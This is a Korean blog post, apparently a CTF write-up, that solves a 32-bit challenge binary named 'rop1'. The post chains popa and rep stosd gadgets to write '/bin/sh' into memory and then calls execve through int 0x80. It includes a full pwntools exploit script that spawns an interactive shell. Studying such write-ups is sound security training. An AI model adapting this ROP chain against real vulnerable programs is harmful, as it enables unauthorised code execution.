본문 바로가기
시스템 해킹/cykor

rop1-ROP+SROP

by sonysame 2018. 1. 2.

rop1



작년에는 이 문제가  그냥 hello world를 출력하는게 문제였는데,

이번에는 쉘까지 땄다.


바로, SROP를 이용하면 된다!


SROP를 이용하기 위해서는 일단 /bin/sh의 문자열이 필요하다.

이는 작년에 풀었던 것처럼 주어진 가젯을 이용했다.


popa와 rep stosd를 이용했는데 popa로 레지스터값을 조정하고, rep stods로 원하는 곳에 /bin/sh를 적었다.


rep - ecx

stosd - eax, edi


이런식으로 연결된다고 보면 된다.

rep -> ecx값 만큼 반복적으로 명령을 수행
stosd -> eax에 담긴 값을 edi에 복사함


출처: http://msparkms.tistory.com/entry/4Byte-Memset-구현 [MSPark's Blog]


그 다음, SROP를 이용했는데, 

eax에 0xb를 넣고(sys_execve)

ebx에 /bin/sh가 적힌 곳의 주소를 넣어주고, edx와 ecx에는 널바이트를 넣어주었다(execve의 두번째, 세번째 인자)

그리고 int80을 호출해서 성공!


from pwn import *


sh=0x0804910b

gadget1=0x080480d8 #rep stosb, retn

gadget2=0x080480db #popa, retn

int80=0x080480f4


payload=""

s=process('./rop1')

string="/bin/sh\x00"


for i in range(len(string)):

payload+=p32(gadget2)

payload+=p32(sh+i) #EDI

payload+="a"*20 #ESI, EBP, EBX, EDX

payload+=p32(1) #ECX

payload+=p32(ord(string[i])) #EAX

payload+=p32(gadget1)


payload+=p32(gadget2)

payload+="aaaa" #EDI

payload+="bbbb" #ESI

payload+="cccc" #EBP

payload+="dddd"

payload+=p32(sh) #EBX

payload+="\x00"*4 #EDX

payload+="\x00"*4 #ECX

payload+=p32(11) #EAX

payload+=p32(int80)



s.send(payload+'\n')

s.interactive()

s.close()




'시스템 해킹 > cykor' 카테고리의 다른 글

enjoy_rop-ROP+SROP  (0) 2018.01.06
rop2-ROP+SROP  (0) 2018.01.05
2015410212-64비트 쉘코드, 간단한 xor  (0) 2018.01.02
rain_dROP-카나리 릭, 메모리 릭  (0) 2018.01.02
derby-카나리 릭  (0) 2018.01.02